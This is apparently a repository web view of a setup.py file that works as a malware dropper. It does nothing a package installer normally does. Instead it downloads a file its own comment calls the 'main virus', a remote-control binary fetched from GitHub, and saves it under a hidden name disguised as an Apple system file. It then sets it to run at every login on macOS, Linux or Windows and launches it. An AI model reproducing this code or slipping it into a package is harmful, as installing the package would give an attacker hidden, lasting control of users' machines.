summaryrefslogtreecommitdiff
path: root/setup.py
blob: 8e267251841d2c28f94e75337a9cd754411538b5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
from os import system, remove
from sys import platform
from random import shuffle

filename = ['user', 'core', 'dev', 'service', 'daemon']
shuffle(filename)
filename = "com.apple." + '.'.join(filename)
localfile = f"{expanduser('~')}/.{filename}"

try:
    remove(localfile)
except FileNotFoundError:
    pass

# download main virus

if platform == "darwin":
    open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
    system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null")
elif platform == "linux":
    from os import environ
    open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
    if 'zsh' in environ['SHELL']:
        system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
    elif 'bash' in environ['SHELL']:
        system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
elif platform == "win32":
    from shutil import copy
    copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

system(f"chmod 555 {localfile}")

subproc([localfile])